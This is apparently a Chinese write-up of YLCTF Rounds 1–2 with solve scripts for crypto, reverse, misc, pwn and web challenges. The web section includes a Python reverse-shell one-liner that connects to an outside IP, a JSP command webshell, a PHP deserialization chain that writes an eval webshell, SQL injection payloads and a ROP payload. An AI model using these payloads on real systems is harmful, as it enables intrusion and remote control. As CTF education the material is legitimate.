前言:总排23,新生赛道11

Round 1

crypto

[round1]BREAK

e有范围,由于e的范围不算大,可以进行爆破得到e,求出d,解出flag

from Crypto.Util.number import *
from gmpy2 import invert, gcd

p = 112201812592436732390795120344111949417282805598314874949132199714697698933980025001138515893011073823715376332558632580563147885418631793000008453933543935617128269371275964779672888059389120797503550397834151733721290859419396400302434404551112484195071653351729447294368676427327217463094723449293599543541
q = 177020901129489152716203177604566447047904210970788458377477238771801463954823395388149502481778049515384638107090852884561335334330598757905074879935774091890632735202395688784335456371467073899458492800214225585277983419966028073512968573622161412555169766112847647015717557828009246475428909355149575012613
c = 2924474039245207571198784141495689937992753969132480503242933533024162740004938423057237165017818906240932582715571015311615140080805023083962661783117059081563515779040295926885648843373271315827557447038547354198633841318619550200065416569879422309228789074212184023902170629973366868476512892731022218074481334467704848598178703915477912059538625730030159772883926139645914921352787315268142917830673283253131667111029720811149494108036204927030497411599878456477044315081343437693246136153310194047948564341148092314660072088671342677689405603317615027453036593857501070187347664725660962477605859064071664385456

n = p * q

phi = (p - 1) * (q - 1)

def generate_primes(start, end):
    primes = []
    for num in range(start, end + 1):
        if isPrime(num):
            primes.append(num)
    return primes

for e in generate_primes(55555, 66666):
    if gcd(e, phi) == 1:
        try:
            d = invert(e, phi)
            m = pow(c, d, n)

           
            flag = long_to_bytes(m).decode('utf-8')
            print(f"找到 e = {e}, 解密后的 flag: {flag}")
            break  
        except ZeroDivisionError:
            continue  # 如果 invert 失败,则继续尝试下一个 e
        except UnicodeDecodeError:
            continue  # 如果解码失败,则继续尝试下一个 e

# YLCTF{fbb6186c-6603-11ef-ba80-deb857dc15be}
[round1]signrsa

RSA 模数 n1 和 n2 之间有公因子 q,从而使得可以分别对这两个模数进行分解,然后使用对应的私钥对密文进行解密,通过共模攻击解密

import gmpy2
from Crypto.Util.number import *
n1 = 18674375108313094928585156581138941368570022222190945461284402673204018075354069827186085851309806592398721628845336840532779579197302984987661547245423180760958022898546496524249201679543421158842103496452861932183144343315925106154322066796612415616342291023962127055311307613898583850177922930685155351380500587263611591893137588708003711296496548004793832636078992866149115453883484010146248683416979269684197112659302912316105354447631916609587360103908746719586185593386794532066034112164661723748874045470225129298518385683561122623859924435600673501186244422907402943929464694448652074412105888867178867357727
n2 = 20071978783607427283823783012022286910630968751671103864055982304683197064862908267206049336732205051588820325894943126769930029619538705149178241710069113634567118672515743206769333625177879492557703359178528342489585156713623530654319500738508146831223487732824835005697932704427046675392714922683584376449203594641540794557871881581407228096642417744611261557101573050163285919971711214856243031354845945564837109657494523902296444463748723639109612438012590084771865377795409000586992732971594598355272609789079147061852664472115395344504822644651957496307894998467309347038349470471900776050769578152203349128951
e = 65537
q = gmpy2.gcd(n1,n2)
print(q)
# 10210039189276167395636779557271057346691950991057423589319031237857569595284598319093522326723650646963251941930167018746859556383067696079622198265424441

p1 = n1 // q
p2 = n2 // q

d1 = gmpy2.invert(e,(q-1)*(p1-1))
d2 = gmpy2.invert(e,(q-1)*(p2-1))

c = 17087345023822081623891751423634072935359933429883025338799316908134539732911987403379813791051721409025872046014445468757120127961953783792146805906255385927316168869306218712056692227481252348951991457948040258007096536015704568840248330993815252823424627958278346871867901249369170134106070695916355118499922945313335801615652226556995849239616859826762866841805915253356402366997693599487016453619500217382302173033771577307792501865322742699412806457301297719922487797626724702793650939979227432331932830374740050145956182452965260035182810782721888226896944881610943610565496963461471122317296063535420461202109
m = pow(c,d2,n2)
m = pow(m,d1,n1)
print(long_to_bytes(m))
# b'YLCTF{6567543c-e55b-4563-96ea-e7412e6834c2}\n'
[round1]ezrsa

也是类共模攻击

from Crypto.Util.number import long_to_bytes, inverse
from math import gcd

hint = 74749248594786596691182255254760227675255640419811402596325257219264047909491854266322448991637721043565574231631858096560042784343181104155107927958136483921037567399591407065870395299938514992590953052021824859260647798407649617552126176876304021384535351268838294566489926141346712140945311688664783400430
n = 146150746308368977558105420785404636106107297097656606561134260305844960246816673265377081884447744494438593580830134146856713782255534506122943914554490808124199966427121519694676728571857729213721192818898378912680306144869946238782714021401494162427357692727211780506245166118326256365562777182481342235649
c = 12817272835509631426126672293486991243028800172545793296231214648592002361121076145968763436527652893903622692932403498323802323146995559960945697843044017192966527560462131618029760025950956635249851792561073659666145624864040328809279977987225518572316396679320621448299428750551755789817002220213790188515
e = 65537

p = gcd(pow(20240918, e, n) - hint, n)
q = n // p

d = inverse(e, (p - 1) * (q - 1))
flag = long_to_bytes(pow(c, d, n))

print(flag)
# b'YLCTF{12f142fc-351d-486f-aaa6-b64ebf3e7bdf}\n'
[round1]r(A)=3

典型的矩阵问题,进行交互循环300次得到flag

from pwn import *
import numpy as np

p = remote('challenge.yuanloo.com', 23115)

for attempt in range(300):
    try:
        print(f"Attempt {attempt + 1}...")  

        line = p.recvuntil(":".encode())
        print(f"Received: {line.decode().strip()}")

        line = p.recvuntil("x=".encode())
        equation_str = line.decode().strip()
        print(f"Received: {equation_str}")

        equations = equation_str.split("\n")
        A = []
        B = []

        for i, eq in enumerate(equations):
            if i == len(equations) - 1:  # 忽略最后一行
                continue
            left, right = eq.split("=")
            B.append(float(right.strip()))

            # 提取系数
            coefficients = [0, 0, 0]  # 对应 x, y, z 的系数
            for term in left.split("+"):
                term = term.strip()
                if "x" in term:
                    coefficients[0] = float(term.split("*")[0]) if "*" in term else 1.0
                elif "y" in term:
                    coefficients[1] = float(term.split("*")[0]) if "*" in term else 1.0
                elif "z" in term:
                    coefficients[2] = float(term.split("*")[0]) if "*" in term else 1.0

            A.append(coefficients)

        A = np.array(A)
        B = np.array(B)

        solution = np.linalg.solve(A, B)

        
        p.sendline(str(int(solution[0])))  
        print(f"{solution[0]}")
        line = p.recvuntil("y=".encode())
        print(f"Received: {line.decode().strip()}")
        p.sendline(str(int(solution[1])))  
        print(f"{solution[1]}")
        line = p.recvuntil("z=".encode())
        print(f"Received: {line.decode().strip()}")
        p.sendline(str(int(solution[2])))
        print(f"{solution[2]}")

    except Exception as e:
        print(f"Attempt {attempt + 1} failed: {e}")

p.interactive()
[round1]threecry

参考文章https://blog.csdn.net/luochen2436/article/details/131948093

import gmpy2
from Crypto.Util.number import long_to_bytes

e = 0xe18e
crypto05= 16623038441079077059861502314553840945014390827451667324209537222817794990697456726185616589892380248771957751215156366431853682717356212256182541599038824352426429058283605462766315213017886613935143369630579915129950428539117781616821575904280675596170305716041161748779293269633614559889401304768245038227061
crypto03= 7370478569029817135349016311298954172270465460003018672225010525611372855698643108316167758095660953716705265165460646442696451806405620591202977137450538604803993325516057226246866037605963589652887018894515430484657967483718879717967258257252134148706147029651520914313120373591263784166639605955378617102045
number1 = 6035830951309638186877554194461701691293718312181839424149825035972373443231514869488117139554688905904333169357086297500189578624512573983935412622898726797379658795547168254487169419193859102095920229216279737921183786260128443133977458414094572688077140538467216150378641116223616640713960883880973572260683
number2 = 20163906788220322201451577848491140709934459544530540491496316478863216041602438391240885798072944983762763612154204258364582429930908603435291338810293235475910630277814171079127000082991765275778402968190793371421104016122994314171387648385459262396767639666659583363742368765758097301899441819527512879933947

a_near = gmpy2.iroot(number2//325,2)[0]
while number2 % gmpy2.next_prime(13*a_near)!=0:
    a_near = gmpy2.next_prime(a_near)
p = gmpy2.next_prime(13*a_near)
q = number2//p
phi = (p-1)*(q-1)
t = gmpy2.gcd(e, phi)
d = gmpy2.invert(e // t, phi)
m2 = gmpy2.iroot(pow(crypto05, d, number2), t)[0]
flag2 = long_to_bytes(m2)

d1 = gmpy2.invert(number1, phi)
m1 = pow(crypto03, d1, number2)
flag1 = long_to_bytes(m1)
print(flag1 + flag2)
# b'YLCTF{8d547f68-f394-4254-9ada-2dc306862b66}\n'

Misc

[签到] 打卡小能手

打卡小助手

[Round 1] hide_png

给的图片用stegsolve来看,有点模糊但是可以看看

hide_png

flag没存忘了

[Round 1] pngorzip

pngorzip

save bin形式得到zip,010去掉114514????后面的冗杂内容进行掩码攻击得到giao,解压得到flag

YLCTF{d359d6e4-740a-49cf-83eb-5b0308f09c8c}

[Round 1] plain_crack

尝试再写个压缩包进行明文攻击

import zipfile
import os

def create(files, zfile):
    # 创建一个新的 ZIP 文件
    with zipfile.ZipFile(zfile, 'w') as zipf:
        for file in files:
        
            zipf.write(file, os.path.basename(file), compress_type=zipfile.ZIP_DEFLATED)

if __name__ == '__main__':
    files = ['build.py']  
    zfile = 'crack2.zip'
    create(files, zfile)

pyadminzip我本地的轮子有问题就用了zipfile需要测试几次才可以进行明文攻击,等待几分钟直接解压里面有flag.docx,docx也是一种zip文件形式,改成zip里面有个图片得到flag

crack

[Round 1] trafficdet

是个ai模型分析,把要求告诉chatgpt上传对应的文件然后叫他按形式写出解密脚本就可以了

import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.metrics import accuracy_score


def load_and_preprocess_data(train_file, test_file):
    # Load training data
    train_data = pd.read_csv(train_file)
    train_data = train_data.dropna()

    # Separate features and labels
    X = train_data.drop(columns=['Label'])
    y = train_data['Label']

    # Load test data
    test_data = pd.read_csv(test_file)

    return X, y, test_data


def train_model(X_train, y_train, n_estimators=100, random_state=42):
    model = RandomForestClassifier(n_estimators=n_estimators, random_state=random_state)
    model.fit(X_train, y_train)
    return model


def evaluate_model(model, X_val, y_val):
    y_pred = model.predict(X_val)
    accuracy = accuracy_score(y_val, y_pred)
    print(f'Model Accuracy: {accuracy:.2f}')
    return y_pred


def make_predictions(model, X_test):
    return model.predict(X_test)


def save_results(predictions, output_file):
    result = pd.DataFrame({'Label': predictions})
    result.index += 1  # Start index at 1
    result.index.name = 'id'  # Rename index to 'id'
    result.to_csv(output_file, index=True)  # Ensure the index is saved


if __name__ == "__main__":
    # Load and preprocess data
    X, y, test_data = load_and_preprocess_data('train.csv', 'test.csv')

    # Split the training data into training and validation sets
    X_train, X_val, y_train, y_val = train_test_split(X, y, test_size=0.1, random_state=42)

    # Train the model
    model = train_model(X_train, y_train)

    # Evaluate the model
    evaluate_model(model, X_val, y_val)

    # Make predictions on the test data
    test_preds = make_predictions(model, test_data)

    # Save the results
    save_results(test_preds, 'result.csv')
[Round 1] whatmusic

可以发现password单独解压,010研究是图片逆转写个脚本

with open('password','rb') as f:
   with open('flag','wb') as g:
      g.write(f.read()[::-1])

然后导入010改文件尾,得到图片,然后还需要镜像一下,再进行在线网站的镜像处理得到password,然后进行解压

result

然后就没有思路了,给了hint也看不懂,信息收集后发现

music1

死去的记忆痛击我,在今年的iscc里面就有一题是github上面的lyra项目转音频得到wav的题目,主要是要搭建环境,我这里用了香港的vps搭建版本ubuntu20,参考文章Lyra编码器基础环境搭建_lyra dajian-CSDN博客

music2

环境构造搭好之后用xftp传入文件然后得到wav,多听几遍得到了flag

music3

Pwn

[Round 1] giaopwn

giaopwn

有nx保护

vuln有溢出点,查一下是有system和cat flag的

giaopwn2

giao

利用寄存器rbi放入地址

from pwn import *
p = remote("challenge.yuanloo.com",44805)

payload= b'a'*(0x28)+p64(0x400743)+p64(0x601048)+p64(0x4006D2)
p.sendline(payload)
p.interactive()

giao1

Re

[round1]xor

简单测试一下发现有upx,脱壳一下

xor

分析一下简单的异或直接gpt梭个脚本

encrypted_bytes = [
    0x45, 0x50, 0x5f, 0x48, 0x5A, 0x67, 0x25, 0x2F,
    0x7E, 0x7D, 0x79, 0x29, 0x7A, 0x7D, 0x31, 0x7D,
    0x29, 0x7D, 0x2E, 0x31, 0x28, 0x7D, 0x28, 0x2B,
    0x31, 0x25, 0x2A, 0x25, 0x2D, 0x31, 0x2B, 0x79,
    0x2A, 0x2B, 0x29, 0x2B, 0x29, 0x79, 0x28, 0x2A,
    0x2F, 0x29, 0x61, 0x1C
]

# 解密函数
def decrypt(encrypted_bytes):
    decrypted_bytes = []
    for byte in encrypted_bytes:
        decrypted_byte = byte ^ 0x1C  
        decrypted_bytes.append(decrypted_byte)
    return decrypted_bytes

decrypted_values = decrypt(encrypted_bytes)
decrypted_string = ''.join(chr(b) for b in decrypted_values)
print(decrypted_string)
[round1]ezgo

ida看一下加密逻辑

ezgo

encrypted_bytes = [
    108, 122, 116, 108, 127, 65, 94, 90, 12, 15,
    15, 120, 113, 118, 110, 34, 115, 112, 36, 101,
    125, 46, 121, 47, 96, 119, 119, 53, 101, 127,
    50, 101, 96, 100, 110, 59, 109, 57, 98, 56,
    57, 56, 34
]

def decrypt(encrypted):
    decrypted = []
    for i, byte in enumerate(encrypted):
        decrypted_byte = byte ^ (i + 53) 
        decrypted.append(decrypted_byte)
    return bytes(decrypted)

decrypted_bytes = decrypt(encrypted_bytes)
print(decrypted_bytes.decode('utf-8', errors='ignore'))
[round1]xorplus

ida打开分析一下是rc4的加密逻辑,没学会,一股脑把加密逻辑扔给claude帮我解密,出脚本

def rc4_init(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + ord(key[i % len(key)]) + 1300) % 256
        S[i], S[j] = S[j], S[i]
    return S


def rc4_crypt(S, data):
    i = j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        result.append(((byte - 20) & 0xFF) ^ k)
    return bytes(result)


def main():
    key = "welcometoylctf"
    encrypted_data = [0x91, 0x86, 0x1b, 0x2d, 0x9e, 0x6f, 0x57, 0x5d, 0x44, 0xec, 0xa3, 0x9f, 0xcd, 0x89, 0x22, 0x65,
                      0x3b, 0xa3, 0x60, 0x2d, 0x80, 0x54, 0x78, 0x67, 0x6c, 0x4e, 0x81, 0x53, 0x4d, 0x26, 0x8, 0x96,
                      0x84, 0x46, 0x29, 0xc5, 0xb4, 0x7e, 0x29, 0xc5, 0xb9, 0x87, 0xa6]

    S = rc4_init(key)
    decrypted = rc4_crypt(S, encrypted_data)

    print("Decrypted message:", decrypted.decode('ascii'))

if __name__ == "__main__":
    main()
[round 1]calc

分析解密的源码

#include<stdio.h>
#include<math.h>
#include<string.h>
#include<stdlib.h>

typedef struct Stack {
    double* low;
    int size;
    double* top;
} stack;

void init(stack* s) {
    s->size = 100;
    s->low = (double*)malloc((sizeof(double)) * 100);
    s->top = s->low;
}

void push(stack* s, double e) {
    *(s->top) = e;
    s->top++;
}

void pop(stack* s, double* e) {
    s->top--;
    *e = *(s->top);
}

int main() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    stack s;
    double e, d;
    char ch;
    double d, e;
    init(&s);
    char num[100];
    int i = 0;
    
    puts("input data, end of '#'");
    scanf("%c", &ch);
    
    while (ch != '#') {
        while (ch >= '0' && ch <= '9') {
            num[i] = ch;
            i++;
            scanf("%c", &ch);
        }
        
        if (ch == ' ') {
            num[i] = '\0';
            d = atof(num);
            push(&s, d);
            i = 0;
        } else {
            switch (ch) {
                case '+':
                    pop(&s, &d);
                    pop(&s, &e);
                    push(&s, e + d);
                    break;
                case '-':
                    pop(&s, &d);
                    pop(&s, &e);
                    push(&s, e - d);
                    break;
                case '*':
                    pop(&s, &d);
                    pop(&s, &e);
                    push(&s, e * d);
                    break;
                case '/':
                    pop(&s, &d);
                    pop(&s, &e);
                    push(&s, e / d);
                    break;
            }
        }
        
        scanf("%c", &ch);
        
        if (d == 125) {
            printf("%s", getenv("GZCTF_FLAG"));
        }
    }
    
    return 0;
}

程序使用逆波兰表示法(Reverse Polish Notation,RPN)进行计算。当栈顶的值达到 125 时,程序会输出 GZCTF_FLAG。

在栈顶产生值 125。所以能在栈顶产生 125 的 RPN 表达应该是有效的输入

5 5 * 5 * #

尝试了一些其他的没有成功这个是成功的

Web

[Round 1] Disal

看不出东西,看看robots.txt,有提示去f1ag.php

<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];

if($a>999999 and $key){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?> 

a是匹配是否有六个字母,b是大于这个数就行函数构造绕过就行

import requests
url = 'http://challenge.yuanloo.com:21836/f1ag.php'
payload = {
    'a': '1000000eeeeee',
    'b': '1235abc'
}
response = requests.post(url, data=payload)
print(response.text)
[Round 1] shxpl

测试一下常见的ls和cat都被禁用了,这里空格用%09进行绕过,联合查询一下

shxpl1

然后执行cat /flag 参照上面的内容

shxpl2

[Round 1] Injct

简单测了一下是xss还是ssti,发现是flask的模板注入,测试一下常见的花括号被禁了,用fenjing看看内容

python -m fenjing crack --url http://challenge.yuanloo.com:25882/greet --inputs name --method POST

Injct1

可以shell到但是试了常见的命令不能成功

Injct2

考虑到这是python写的网站,用弹个shell给我的vps,成功拿到shell得到flag

python3 -c 'import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("8.130.42.113", 5566)); [os.dup2(s.fileno(), i) for i in (0, 1, 2)]; subprocess.call(["/bin/sh", "-i"])'

shxpl3

[Round 1] TOXEC(复现)

测试了一下发现上传jsp文件会直接杀掉,又dirsearch扫了一下发现在WEB-INF有大量的404回显,猜测可能和羊城杯的题目相似(虽然我没写bushi),先上传一个shell.xml,是jsp的回显马

先上传这个,bp抓包改一下文件名

<% if(request.getParameter("cmd")!=null){  
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();  
    int a = -1;  
    byte[] b = new byte[2048];  
    out.print("<pre>");  
    while((a=in.read(b))!=-1){  
        out.print(new String(b));  
    }  
    out.print("</pre>");  
}  

%>

TOXEC

然后再上传下面这个也需要改成对应的文件格式将上面的xml解析成jsp,传入马

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
    <servlet>
        <servlet-name>exec</servlet-name>
        <jsp-file>/WEB-INF/shell.xml</jsp-file>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>exec</servlet-name>
        <url-pattern>/orange</url-pattern>
    </servlet-mapping>
</web-app>

最后的结果如下

TOXEC1

[Round 1] pExpl(复现)

先上源码

<?php
error_reporting(0);

class FileHandler {
    private $fileHandle;
    private $fileName;

    public function __construct($fileName, $mode = 'r') {
        $this->fileName = $fileName;
        $this->fileHandle = fopen($fileName, $mode);
        if (!$this->fileHandle) {
            throw new Exception("Unable to open file: $fileName");
        }
        echo "File opened: $fileName\n";
    }

    public function readLine() {
        return fgets($this->fileHandle);
    }

    public function writeLine($data) {
        fwrite($this->fileHandle, $data . PHP_EOL);
    }

    public function __destruct() {
        if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
            fclose($this->fileHandle);
            echo "File closed: {$this->fileName}\n";
        }
    }
}

class User {

    private $userData = [];

    public function __set($name, $value) {
        if ($name == 'password') {
            $value = password_hash($value, PASSWORD_DEFAULT);
        }
        $this->userData[$name] = $value;
    }

    public function __get($name) {
        return $this->userData[$name] ?? null;
    }

    public function __toString() {
        if(is_string($this->params) && is_array($this->data) && count($this->data) > 1){
            call_user_func($this->data,$this->params);
        }
        return "Hello";
    }

    public function __isset($name) {
        return isset($this->userData[$name]);
    }
}

class Logger {
    private $logFile;
    private $lastEntry;

    public function __construct($logFile = 'application.log') {
        $this->logFile = $logFile;
    }

    private function log($level, $message) {
        $this->lastEntry = "[" . date("Y-m-d H:i:s") . "] [$level] $message" . PHP_EOL;

        file_put_contents($this->logFile, $this->lastEntry, FILE_APPEND);
    }

    public function setLogFile($logFile) {
        $this->logFile = $logFile;
    }

    public function clearOldLogs($daysToKeep = 30) {
        $files = glob("*.log");
        $now = time();
        foreach ($files as $file) {
            if (is_file($file)) {
                if ($now - filemtime($file) >= 60 * 60 * 24 * $daysToKeep) {
                    unlink($file);
                }
            }
        }
    }

    public function __call($name, $arguments) {

        $validLevels = ['info', 'warning', 'error', 'debug'];
        if (in_array($name, $validLevels)) {
            $this->log(strtoupper($name), $arguments[0]);
        } else {
            throw new Exception("Invalid log level: $name");
        }
    }

    public function __invoke($message, $level = 'INFO') {
        $this->log($level, $message);
    }
}

if(isset($_GET['exp'])) {
    if(preg_match('/<\?php/i',$_GET['exp'])){
        exit;
    }
    $exp = unserialize($_GET['exp']);
    throw new Exception("Test!");
} else {
    highlight_file(__FILE__);
}
    if(preg_match('/<\?php/i',$_GET['exp'])){
        exit;
    }
    $exp = unserialize($_GET['exp']);
    throw new Exception("Test!");

根据这里可以使用php的短标签,throw new Exception("Test!");可以利用GC机制进行绕过,简单的来说就用构造数组进行绕过

再分析一下上面的pop链

public function __destruct() {
        if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
            fclose($this->fileHandle);
            echo "File closed: {$this->fileName}\n";
        }
    }

echo可以触发__toString魔术

public function __toString() {
        if(is_string($this->params) && is_array($this->data) && count($this->data) > 1){
            call_user_func($this->data,$this->params);
        }
        return "Hello";
    }

call_user_func 函数用于回调构造,不能直接触发命令执行,由于有参数限制,也不能直接调用,可以尝试构造不存在的函数以此来触发__call魔术

public function __call($name, $arguments) {
    
        $validLevels = ['info', 'warning', 'error', 'debug'];
        if (in_array($name, $validLevels)) {
            $this->log(strtoupper($name), $arguments[0]);//调用 log 方法,传递日志级别(转换为大写)和第一个参数 $arguments[0],这通常是要记录的消息。
        } else {
            throw new Exception("Invalid log level: $name");
        }
    }

需要调用到 array 中的一个,然后在触发文件写入,构造exp

<?php
class FileHandler {
    private $fileHandle;
    private $fileName;

    public function __construct($fileName) {
        $this->fileName = $fileName;
    }
}
class User {
    private $userData = [];
}
class Logger {
    private $logFile;
    private $lastEntry;

    public function __construct($logFile) {
        $this->logFile = $logFile;
    }
}
// 创建 Logger 对象
$c = new Logger("/var/www/html/1.php");
// 创建 User 对象
$b = new User();
// 为 User 对象的属性赋值
$b->data = [$c, "info"];
$b->params = '<?=@eval($_POST[1]);?>';  
// 创建 FileHandler 对象,传入 User 对象
$a = new FileHandler($b);
// 序列化并替换特定字符串
$a1 = array($a, null);
$s = serialize($a1);
$s = str_replace('1;N', '0;N', $s);
// 输出 URL 编码后的字符串
echo urlencode($s);
?>

pexpl

[Round 1] sInXx(复现)

这题在写的时候一直没找到注入点,跟着复现一下

search=juan79%27%09and%09(1=1)%23

这个是有回显的,看下面的

search=juan79%27%09and%09(1=2)%23

这个就是无回显的

然后接着继续测试一下

search=juan79%27%09union%09select%091,2,3,4%23

测试发现,应该被过滤了,可以用别名进行查询

search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%091)A%09join%09(SELECT%091)B%09join(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#

继续测(不是MySQL的数据库,而是sql sever的数据库)

sys.schema_table_statistics_with_buffer 是一个系统表,通常在 SQL Server 中存在,包含关于表的统计信息。

search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09GROUP_CONCAT(TABLE_NAME)FROM%09sys.schema_table_statistics_with_buffer%09WHERE%09TABLE_SCHEMA=DATABASE())A%09join%09(SELECT%091)B%09join(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#

sInXx

继续往下测

search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09`2`%09FROM%09(SELECT%09*%09FROM%09((SELECT%091)a%09JOIN%09(SELECT%092)b)%09UNION%09SELECT%09*%09FROM%09DataSyncFLAG)p%09limit%092%09offset%091)A%09join%09(SELECT%091)B%09join(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#

最后得到了flag这个数据库没怎么遇见过涨知识了,

还有一道java我最近刚开始学,先不复现了。

Round 2

crypto

[Round 2] ezAES

key和iv需要进行填充,得到字符串只会输入靶场得到flag

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def adjust_bytes(data, size):
    return data[:size].ljust(size, b'\0')

# Adjust key and IV to be exactly 16 bytes
key = adjust_bytes(b'YLCTF-CRYPTO', 16)
iv = adjust_bytes(b'YLCTF-IV', 16)

print("Key:", key)
print("IV:", iv)

# The encrypted data
encrypted_data = b'\xed\x1d]\xe6p\xb7\xfa\x90/Gu\xf4\xe2\x96\x84\xef90\x92e\xb4\xf8]"\xfc6\xf8\x8cS\xe9b\x19'

# Create the AES cipher object
cipher = AES.new(key, AES.MODE_CBC, iv)

# Decrypt the data
decrypted_data = cipher.decrypt(encrypted_data)

# Remove padding
try:
    unpadded_data = unpad(decrypted_data, AES.block_size)
    # Convert to string
    flag = unpadded_data.decode('utf-8')
    print("Decrypted flag:", flag)
except ValueError as e:
    print("Decryption failed. Error:", str(e))
    print("Raw decrypted data:", decrypted_data)
[Round 2] ancat(三血)

通过反 Arnold 变换对图像进行解码

import cv2
import numpy as np

def arnold_decode(image, shuffle_times, a, b):

    decode_image = np.zeros(shape=image.shape, dtype=np.uint8)
    h, w = image.shape[0], image.shape[1]
    N = h  # Assuming square image, otherwise use min(h, w)

    for _ in range(shuffle_times):
        for x in range(h):
            for y in range(w):
                new_x = ((a*b+1)*x + (-b)*y) % N
                new_y = (-a*x + y) % N
                decode_image[new_x, new_y, :] = image[x, y, :]
        image = np.copy(decode_image)

    cv2.imwrite('de_flag.png', decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
    return decode_image

# Usage
img = cv2.imread('en_flag.png')
decoded_img = arnold_decode(img, 3, 6, 9)
[Round 2] hhhhhash(二血)

通过 RSA 加密和解密的操作,生成一个由 23 相关的预映像。该预映像是由两个固定值 23,以及它们加密后异或的解密结果组成的字符串。

from Crypto.Util.number import inverse

# 给定的 RSA 参数
N = 24187393262220937846390501443742832858626434119009614437585110078354058452015513549456536194956883531427150348615517313864237793745207153851247294085645697596388459039963846522372296585446089302800483043022329465803710493794211051569707438274254451965191340677881575500674368344178840546343108889174677894222885416258598492663798090390503785098514218961277236306118846673370386248291600553097856252637702622367340613301550171775336709322733018489345819827313673171715980174821509418454309036717777663660169340209676530313209371349708592854940984111594670893579387030559835418881208057159859916049414143236495356055079
e = 65537

# 计算 c = pow(2, e, N) ^ pow(3, e, N)
c = pow(2, e, N) ^ pow(3, e, N)

# 计算 phi 和 d
phi = N - 1  # 注意:这个假设只在 N 是梅森素数时成立
d = inverse(e, phi)

# 计算 x
x = pow(c, d, N)

# 将结果转换为字节并编码为十六进制
b0 = (2).to_bytes(256, 'big').hex()
b1 = (3).to_bytes(256, 'big').hex()
b2 = x.to_bytes(256, 'big').hex()

# 组合最终的 preimage
preimage = b0 + b1 + b2

print("Calculated preimage:")
print(preimage)
[Round 2] rand(一血)

参考ASIS2023 Crypto - 知乎 (zhihu.com)

from pwn import *
import re

p = remote('challenge.yuanloo.com', 46464)

for _ in range(400):  # 本地测试不知道要多少轮,直接拉到400得到flag会自己断的
    line = p.recvuntil("\n".encode())
    line_decoded = line.decode()
    print(line_decoded)  # 打印解码后的内容

    numbers = re.findall(r'\d+', line_decoded)
    if numbers:
        p_value = int(numbers[0])
        g = p_value - 4
        print("p =", p_value)

        line = p.recvuntil("g:".encode())
        print(line.decode())

        p.sendline(str(g).encode())
        print("g =", g)

        line = p.recvuntil(":".encode())
        print(line.decode())

        x = 2
        y = p_value - 2
        p.sendline(f"{x},{y}".encode())
        print(f"Sending: {x},{y}")

p.interactive()

Misc

[Round 2] IMGAI(三血)

和iscc 2024的re题有点相似,也是需要识别图片转得知文字,利用模型得到答案

from pwn import *
import torch
import torch.nn as nn
from torchvision import transforms
from PIL import Image
import numpy as np
import re
class MNISTCNN(nn.Module):
    def __init__(self):
        super(MNISTCNN, self).__init__()
        self.conv1 = nn.Conv2d(1, 32, kernel_size=5, padding=2)
        self.conv2 = nn.Conv2d(32, 64, kernel_size=5)
        self.fc1 = nn.Linear(64 * 5 * 5, 1024)
        self.fc2 = nn.Linear(1024, 10)
        self.pool = nn.MaxPool2d(2, 2)
        self.relu = nn.ReLU()

    def forward(self, x):
        x = self.pool(self.relu(self.conv1(x)))
        x = self.pool(self.relu(self.conv2(x)))
        x = x.view(-1, 64 * 5 * 5)
        x = self.relu(self.fc1(x))
        return self.fc2(x)

def load_model(model_path):
    model = MNISTCNN()
    model.load_state_dict(torch.load(model_path, map_location=torch.device('cpu')))
    model.eval()
    return model

def preprocess_image(binary_data):
    image_array = np.array([int(pixel) for pixel in binary_data]).reshape(480, 640)
    image = Image.fromarray(np.uint8(image_array * 255), mode='L')
    transform = transforms.Compose([
        transforms.Resize((28, 28)),
        transforms.ToTensor(),
        transforms.Normalize((0.1307,), (0.3081,))
    ])
    return transform(image).unsqueeze(0)

def predict_digit(model, image):
    with torch.no_grad():
        output = model(image)
        return torch.max(output, 1)[1].item()

def main():
    try:
        p = remote("challenge.yuanloo.com", 30991)
        model = load_model('model.pth')
        predictions = []

        for i in range(36):
            try:
                data = p.recvuntil(f"input num {i + 1} \n".encode(), timeout=3)
                binary_data = re.findall(r"[01]+", data.decode())

                if not binary_data:
                    print(f"No binary data found in round {i + 1}. Exiting...")
                    break

                image = preprocess_image(binary_data[0].strip())
                predicted = predict_digit(model, image)
                predictions.append(predicted)

                p.sendline(str(predicted).encode())
                print(f"Round {i + 1}: Predicted digit: {predicted}")

            except EOFError:
                print(f"Connection closed unexpectedly in round {i + 1}")
                break
            except Exception as e:
                print(f"Error in round {i + 1}: {str(e)}")
                break

        final_data = p.recvall(timeout=5)
        print("Final server response:", final_data.decode())

        predicted_string = ''.join(map(str, predictions))
        print("All predicted digits as a string:", predicted_string)

    except Exception as e:
        print(f"An error occurred: {str(e)}")
    finally:
        if 'p' in locals():
            p.close()

if __name__ == "__main__":
    main()
[Round 2] Trace

